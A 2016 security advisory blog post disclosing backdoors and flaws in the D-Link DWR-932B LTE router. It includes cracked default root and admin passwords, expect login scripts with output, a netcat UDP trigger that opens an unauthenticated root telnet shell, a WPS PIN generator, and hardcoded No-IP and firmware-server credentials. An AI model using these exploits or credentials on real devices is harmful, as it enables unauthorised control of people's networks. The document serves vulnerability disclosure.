A slice of Kimchi - IT Security Blog

HomeAboutFeed

Multiple vulnerabilities found in the Dlink DWR-932B (backdoor, backdoor accounts, weak WPS, RCE ...)

Product Description

Dlink is a multinational networking equipment manufacturing corporation.

Vulnerabilities Summary

The Dlink DWR-932B is a LTE router / access point overall badly designed with a lot of vulnerabilities. It's available in a number of countries to provide Internet with a LTE network. It's a model based on the (in)famous Quanta LTE router models and inherits some vulnerabilities.

The tests below are done using the latest available firmware (firmware DWR-932_fw_revB_2_02_eu_en_20150709.zip, model revision B, /Share3/DailyBuild/QDX_DailyBuild/QDT_2031_DLINK/QDT_2031_OS/source/LINUX/apps_proc/oe-core/build/tmp-eglibc/sysroots/x86_64-linux/usr/bin/armv7a-vfp-neon-oe-linux-gnueabi/arm-oe-linux-gnueabi-gcc).

The summary of the vulnerabilities is:

A personal point of view: at best, the vulnerabilites are due to incompetence; at worst, it is a deliberate act of security sabotage from the vendor. Not all the vulnerabilities found have been disclosed in this advisory. Only the significant ones are shown.

This router is still on sale.

Due to lack of security patches provided by the vendor, the vulnerabilities will remain unpatched and customers with questions should contact their local/regional D-Link support office for the latest information.

Details - Backdoor accounts

By default, telnetd and SSHd are running in the router.

Telnetd is running even if there is no documentation about it:

user@kali:~$ cat ./etc/init.d/start_appmgr

[...]
#Sandro { for telnetd debug...
start-stop-daemon -S -b -a /bin/logmaster
#if [ -e /config2/telnetd ]; then
        start-stop-daemon -S -b -a /sbin/telnetd
#fi
#Sandro }
[...]

2 backdoor accounts exist and can be used to bypass the HTTP authentication used to manage the router.

admin@homerouter:~$ grep admin /etc/passwd 
admin:htEcF9TWn./9Q:168:168:admin:/:/bin/sh
admin@homerouter:~$

The password for admin is 'admin' and can be found in the /bin/appmgr program using IDA:

About the root user:

user@kali:~$ cat ./etc/shadow
root:aRDiHrJ0OkehM:16270:0:99999:7:::
daemon:*:16270:0:99999:7:::
bin:*:16270:0:99999:7:::
sys:*:16270:0:99999:7:::
sync:*:16270:0:99999:7:::
games:*:16270:0:99999:7:::
man:*:16270:0:99999:7:::
lp:*:16270:0:99999:7:::
mail:*:16270:0:99999:7:::
news:*:16270:0:99999:7:::
uucp:*:16270:0:99999:7:::
proxy:*:16270:0:99999:7:::
www-data:*:16270:0:99999:7:::
backup:*:16270:0:99999:7:::
list:*:16270:0:99999:7:::
irc:*:16270:0:99999:7:::
gnats:*:16270:0:99999:7:::
diag:*:16270:0:99999:7:::
nobody:*:16270:0:99999:7:::
messagebus:!:16270:0:99999:7:::
avahi:!:16270:0:99999:7:::
admin@kali:~$

Using john to crack the hashes:

user@kali:~$ john -show shadow+passwd
admin:admin:admin:/:/bin/sh
root:1234:16270:0:99999:7:::

2 password hashes cracked, 0 left
user@kali:~$

Results:

Working exploit for admin:

user@kali:~$ cat quanta-ssh-default-password-admin
#!/usr/bin/expect -f

set timeout 3
spawn ssh admin@192.168.1.1
expect "password: $"
send "admin\r"
interact
user@kali:~$ ./quanta-ssh-default-password-admin
spawn ssh admin@192.168.1.1
admin@192.168.1.1's password:
admin@homerouter:~$ id
uid=168(admin) gid=168(admin) groups=168(admin)
admin@homerouter:~$

Alternatively, you can fetch it at https://pierrekim.github.io/advisories/quanta-ssh-default-password-admin.

Working exploit for root:

user@kali:~$ cat quanta-ssh-default-password-root
#!/usr/bin/expect -f

set timeout 3
spawn ssh root@192.168.1.1
expect "password: $"
send "1234\r"
interact
user@kali:~$ ./quanta-ssh-default-password-root
spawn ssh root@192.168.1.1
root@192.168.1.1's password:
root@homerouter:~# id
uid=168(root) gid=168(root) groups=168(root)
root@homerouter:~#

Alternatively, you can fetch it at https://pierrekim.github.io/advisories/quanta-ssh-default-password-root.

Details - Backdoor

A backdoor is present inside the /bin/appmgr program. By sending a specific string in UDP to the router, an authentication-less telnet server will start if a telnetd daemon is not already running.

In /bin/appmgr, a thread listens to 0.0.0.0:39889 (UDP) and waits for commands.

If a client sends "HELODBG" to the router, the router will execute /sbin/telnetd -l /bin/sh, allowing to access without authentication to the router as root.

When using IDA, we can see the backdoor is located in the main function (line 369):

Working PoC :

user@kali:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889
Hello
^C
user@kali:~$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

OpenEmbedded Linux homerouter.cpe


msm 20141210 homerouter.cpe

/ # id
uid=0(root) gid=0(root)
/ # exit
Connection closed by foreign host.
user@kali:~$

Details - Default WPS PIN

Wi-Fi Protected Setup(WPS) is a standard for easy and secure establishment of a wireless home network, as defined in the documentation provided in the router (help.html).

By default, the PIN for the WPS system is ever 28296607. It is, in fact, hardcoded in the /bin/appmgr program:

This PIN can be found in the HostAP configuration too, and, using the information leak, in the HTTP APIs of the router:

root@homerouter:~# ps -a|grep hostap
 1006 root       0:00 hostapd /var/wifi/ar6k0.conf
 1219 root       0:00 grep hostap
root@homerouter:~# cat /var/wifi/ar6k0.conf
[...]
ap_pin=28296607
[...]

Details - Weak WPS PIN Generation - with a reverse-engineered algorithm

An user can use the webinterface to generate a temporary PIN for the WPS system (low probability as the 28296607 WPS PIN is provided by default).

The PIN generated by the router is weak as it is generated using this "strange" reverse-engineered algorithm:

user@kali:~$ cat quanta-wps-gen.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main(int    argc,
         char   **argv,
         char   **envp)
{ 
  unsigned int  i0, i1;
  int           i2;

  /* the seed is the current time of the router, which uses NTP... */
  srand(time(0));

  i0 = rand() % 10000000;
  if (i0 <= 999999)
    i0 += 1000000;
  i1 = 10 * i0;
  i2 = (10 - (i1 / 10000 % 10 + i1 / 1000000 % 10 + i1 / 100 % 10 + 3 *
       (i1 / 100000 % 10 + 10 * i0 / 10000000 % 10 + i1 / 1000 % 10 + i1 / 10 % 10))
        % 10) % 10 + 10 * i0;

  printf("%d\n", i2 );

  return (0);
}
user@kali:~$ gcc -o dlink-wps-gen quanta-wps-gen.c
user@kali:~$ ./dlink-wps-gen
97329329
user@kali:~$

You can fetch this program at https://pierrekim.github.io/advisories/quanta-wps-gen.c.

Using srand(time(0)) as a seed is a bad idea because an attacker, knowing the current date as time(0) returns the current date in an integer value, can just generate the valid WPS PIN. The Router uses NTP so is likely to have a correct timestamp configured. It's trivial for an attacker to generate valid WPS PIN suites and bruteforce them.

For the curious reader, the original algorithm in the firmware is:

.text:0001B4D4                 EXPORT generate_wlan_wps_enrollee_pin
.text:0001B4D4 generate_wlan_wps_enrollee_pin          ; CODE XREF: wifi_msg_handle+194p
.text:0001B4D4
.text:0001B4D4 var_3C          = -0x3C
.text:0001B4D4 var_38          = -0x38
.text:0001B4D4 s               = -0x34
.text:0001B4D4 var_30          = -0x30
.text:0001B4D4 var_2C          = -0x2C
.text:0001B4D4
.text:0001B4D4                 STMFD           SP!, {R4-R11,LR}
.text:0001B4D8                 SUB             SP, SP, #0x1C
.text:0001B4DC                 STR             R0, [SP,#0x40+s]
.text:0001B4E0                 MOV             R0, #0  ; timer
.text:0001B4E4                 BL              time
.text:0001B4E8                 BL              srand
.text:0001B4EC                 BL              rand
.text:0001B4F0                 LDR             R4, =0x6B5FCA6B
.text:0001B4F4                 MOV             R6, R0,ASR#31
.text:0001B4F8                 SMULL           R1, R4, R0, R4
.text:0001B4FC                 RSB             R10, R6, R4,ASR#22
.text:0001B500                 RSB             R12, R10, R10,LSL#5
.text:0001B504                 RSB             R2, R12, R12,LSL#6
.text:0001B508                 ADD             R11, R10, R2,LSL#3
.text:0001B50C                 LDR             R8, =0xF423F
.text:0001B510                 ADD             R9, R11, R11,LSL#2
.text:0001B514                 SUB             R1, R0, R9,LSL#7
.text:0001B518                 CMP             R1, R8
.text:0001B51C                 ADDLS           R1, R1, #0xF4000
.text:0001B520                 ADDLS           R1, R1, #0x240
.text:0001B524                 ADD             R3, R1, R1,LSL#2
.text:0001B528                 MOV             R3, R3,LSL#1
.text:0001B52C                 LDR             R1, =0xCCCCCCCD
.text:0001B530                 LDR             R5, =0xA7C5AC5
.text:0001B534                 LDR             R6, =0x6B5FCA6B
.text:0001B538                 MOV             R7, R3,LSR#5
.text:0001B53C                 UMULL           R4, R7, R5, R7
.text:0001B540                 UMULL           R9, LR, R1, R3
.text:0001B544                 UMULL           R5, R6, R3, R6
.text:0001B548                 LDR             R12, =0xD1B71759
.text:0001B54C                 MOV             R6, R6,LSR#22
.text:0001B550                 UMULL           R10, R12, R3, R12
.text:0001B554                 MOV             LR, LR,LSR#3
.text:0001B558                 UMULL           R10, R9, R1, R6
.text:0001B55C                 UMULL           R8, R10, R1, LR
.text:0001B560                 LDR             R0, =0x431BDE83
.text:0001B564                 MOV             R12, R12,LSR#13
.text:0001B568                 UMULL           R11, R0, R3, R0
.text:0001B56C                 STR             R10, [SP,#0x40+var_38]
.text:0001B570                 UMULL           R8, R10, R1, R12
.text:0001B574                 LDR             R2, =0x51EB851F
.text:0001B578                 LDR             R4, =0x10624DD3
.text:0001B57C                 UMULL           R5, R2, R3, R2
.text:0001B580                 MOV             R0, R0,LSR#18
.text:0001B584                 STR             R10, [SP,#0x40+var_3C]
.text:0001B588                 UMULL           R8, R4, R3, R4
.text:0001B58C                 UMULL           R8, R10, R1, R0
.text:0001B590                 MOV             R2, R2,LSR#5
.text:0001B594                 MOV             R7, R7,LSR#7
.text:0001B598                 UMULL           R8, R11, R1, R7
.text:0001B59C                 STR             R10, [SP,#0x40+var_30]
.text:0001B5A0                 MOV             R4, R4,LSR#6
.text:0001B5A4                 UMULL           R8, R10, R1, R2
.text:0001B5A8                 UMULL           R8, R5, R1, R4
.text:0001B5AC                 STR             R10, [SP,#0x40+var_2C]
.text:0001B5B0                 MOV             R8, R9,LSR#3
.text:0001B5B4                 MOV             R10, R11,LSR#3
.text:0001B5B8                 ADD             R11, R10, R10,LSL#2
.text:0001B5BC                 ADD             R9, R8, R8,LSL#2
.text:0001B5C0                 MOV             R10, R5,LSR#3
.text:0001B5C4                 LDR             R8, [SP,#0x40+var_38]
.text:0001B5C8                 SUB             R6, R6, R9,LSL#1
.text:0001B5CC                 SUB             R7, R7, R11,LSL#1
.text:0001B5D0                 LDR             R9, [SP,#0x40+var_3C]
.text:0001B5D4                 LDR             R11, [SP,#0x40+var_30]
.text:0001B5D8                 ADD             R5, R10, R10,LSL#2
.text:0001B5DC                 SUB             R5, R4, R5,LSL#1
.text:0001B5E0                 LDR             R4, [SP,#0x40+var_2C]
.text:0001B5E4                 MOV             R10, R8,LSR#3
.text:0001B5E8                 MOV             R8, R9,LSR#3
.text:0001B5EC                 MOV             R9, R11,LSR#3
.text:0001B5F0                 ADD             R7, R7, R6
.text:0001B5F4                 ADD             R10, R10, R10,LSL#2
.text:0001B5F8                 ADD             R9, R9, R9,LSL#2
.text:0001B5FC                 MOV             R11, R4,LSR#3
.text:0001B600                 ADD             R8, R8, R8,LSL#2
.text:0001B604                 ADD             R7, R7, R5
.text:0001B608                 SUB             LR, LR, R10,LSL#1
.text:0001B60C                 SUB             R5, R0, R9,LSL#1
.text:0001B610                 SUB             R8, R12, R8,LSL#1
.text:0001B614                 ADD             R11, R11, R11,LSL#2
.text:0001B618                 ADD             R12, R7, LR
.text:0001B61C                 SUB             R4, R2, R11,LSL#1
.text:0001B620                 ADD             R8, R8, R5
.text:0001B624                 ADD             R5, R8, R4
.text:0001B628                 ADD             R0, R12, R12,LSL#1
.text:0001B62C                 ADD             R4, R5, R0
.text:0001B630                 UMULL           R5, R1, R4, R1
.text:0001B634                 MOV             R2, R1,LSR#3
.text:0001B638                 ADD             LR, R2, R2,LSL#2
.text:0001B63C                 SUB             R8, R4, LR,LSL#1
.text:0001B640                 LDR             R0, =0x66666667
.text:0001B644                 RSB             R2, R8, #0xA
.text:0001B648                 SMULL           R8, R0, R2, R0
.text:0001B64C                 MOV             R12, R2,ASR#31
.text:0001B650                 RSB             R1, R12, R0,ASR#2
.text:0001B654                 ADD             LR, R1, R1,LSL#2
.text:0001B658                 LDR             R12, =(aHostapd_conf_f - 0x1B670)
.text:0001B65C                 SUB             R4, R2, LR,LSL#1
.text:0001B660                 LDR             R2, =(aGet_wpspinI - 0x1B67C)
.text:0001B664                 ADD             R4, R4, R3
.text:0001B668                 ADD             R0, PC, R12 ; "hostapd_conf_file_gen"
.text:0001B66C                 ADD             R0, R0, #0x3C
.text:0001B670                 MOV             R1, #0x3B
.text:0001B674                 ADD             R2, PC, R2 ; "Get_WpsPin:%in"
.text:0001B678                 MOV             R3, R4
.text:0001B67C                 BL              wifi_filelog
.text:0001B680                 LDR             R1, =(a08lu - 0x1B690)
.text:0001B684                 LDR             R0, [SP,#0x40+s] ; s
.text:0001B688                 ADD             R1, PC, R1 ; "%08lu"
.text:0001B68C                 MOV             R2, R4
.text:0001B690                 ADD             SP, SP, #0x1C
.text:0001B694                 LDMFD           SP!, {R4-R11,LR}
.text:0001B698                 B               sprintf
.text:0001B698 ; End of function generate_wlan_wps_enrollee_pin

Details - Leaking No-IP account (?):

The file /etc/inadyn-mt.conf (for a dyndns client) contains an user and a hardcoded password:

--log_file /usr/inadyn_srv.log
--forced_update_period 6000
--username alex_hung
--password 641021
--dyndns_system default@no-ip.com
--alias test.no-ip.com

Details - Multiple vulnerabilities in the HTTP daemon (qmiweb)

The HTTP daemon /bin/qmiweb is full of vulnerabilities.

You can see my precedent researches about a router model using a similar firmware:

Adapting the exploits is left as exercises for the reader :)

Details - Remote FOTA (Firmware Over The Air)

The credentials to contact the FOTA server are hardcoded in the /sbin/fotad binary, as shown with this IDA screenshot:

The function sub_CAAC contains the credentials as base64-strings, used to retrieve the firmware.

It's notable the FOTA daemon tries to retrieve the firmware over HTTPS. But at the date of the writing, the SSL certificate for https://qdp:qdp@fotatest.qmitw.com/qdh/ispname/2031/appliance.xml is invalid for 1.5 year.

The user/password combinations are:

qdpc:qdpc
qdpe:qdpe
qdp:qdp

Details - Bad security practices:

From /etc/init.d/start_appmgr, you will read "strange" shell commands executed as root, like:

if [  -f /sbin/netcfg ]; then
        echo -n "chmod 777 netcfg"
        chmod 777 /sbin/netcfg
fi
if [  -f /bin/QNetCfg ]; then
        echo -n "chmod 777 QNetCfg"
        chmod 777 /bin/QNetCfg
fi

I have no idea why the vendor needs to chmod 777 files located in /bin/.

Details - Security removed in UPnP

UPnP allows to add firewall rules dynamically. Because of the security risks involved, generally there are restrictions in place to avoid dangerous new firewall rules from an unstrusted LAN client.

Insecurity in IPnP was hype 10 years ago (in 2006). The security level of the UPNP program (miniupnp) in this router is volountarily lowered as shown below and allows an attacker located in the LAN area to add Port forwarding from the Internet to other clients located in the LAN:

The /var/miniupnpd.conf is generated by the /bin/appmgr program:

It will generate the /var/miniupnpd.conf file:

ext_ifname=rmnet0
listening_ip=bridge0
port=2869
enable_natpmp=yes
enable_upnp=yes
bitrate_up=14000000
bitrate_down=14000000
secure_mode=no      # "secure" mode : when enabled, UPnP client are allowed to add mappings only to their IP.
presentation_url=http://192.168.1.1
system_uptime=yes
notify_interval=30
upnp_forward_chain=MINIUPNPD
upnp_nat_chain=MINIUPNPD

There is no restriction about the UPnP permission rules in the configuration file, contrary to common usage in UPnP where it is advised to only allow redirection of port above 1024:

Normal config file:

# UPnP permission rules
# (allow|deny) (external port range) ip/mask (internal port range)
# A port range is <min port>-<max port> or <port> if there is only
# one port in the range.
# ip/mask format must be nn.nn.nn.nn/nn
# it is advised to only allow redirection of port above 1024
# and to finish the rule set with "deny 0-65535 0.0.0.0/0 0-65535"
allow 1024-65535 192.168.0.0/24 1024-65535
deny 0-65535 0.0.0.0/0 0-65535

In the configuration of the vulnerable router where there are no permission rules, an attacker can forward everything from the WAN into the LAN. For example, an attacker can add a forwarding rule in order to allow traffic from the Internet to local Exchange servers, mail servers, ftp servers, http servers, database servers... In fact, this lack of security allows a local user to forward whatever they want from the Internet into the LAN.

Personal notes

As the router has a sizable memory (168 MB), a decent CPU and good free space (235 MB) with complete toolkits installed by default (sshd, proxy (/bin/tinyproxy -c /var/tproxy.conf), tcpdump ...), I advise users to trash their routers because it's trivial for an attacker to use this router as an attack vector (ie: hosting a sniffing tool, LAN hacking, active MiTM tool, spamming zombie).

From my tests, it is possible to overwrite the firmware with a custom (backdoored) firmware. Generating a valid backdoored firmware is left as an exercise for the reader, but with all these vulnerabilities present in the default firmware, I don't think it is worth making the effort.

Vendor Response

Customers with questions should contact their local/regional D-Link support offices for the latest information.

Report Timeline

Credits

These vulnerabilities were found by Pierre Kim (@PierreKimSec).

I would like to thank Gianni Carabelli who found this router and thought it was very similar to the previous backdoored Quanta routers.

References

https://pierrekim.github.io/advisories/2016-dlink-0x00.txt

https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html

https://www.linkedin.com/pulse/rooting-dlink-dwr-923-4g-router-gianni-carabelli

Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/

published on 2016-09-28 00:00:00 by Pierre Kim <pierre.kim.sec@gmail.com>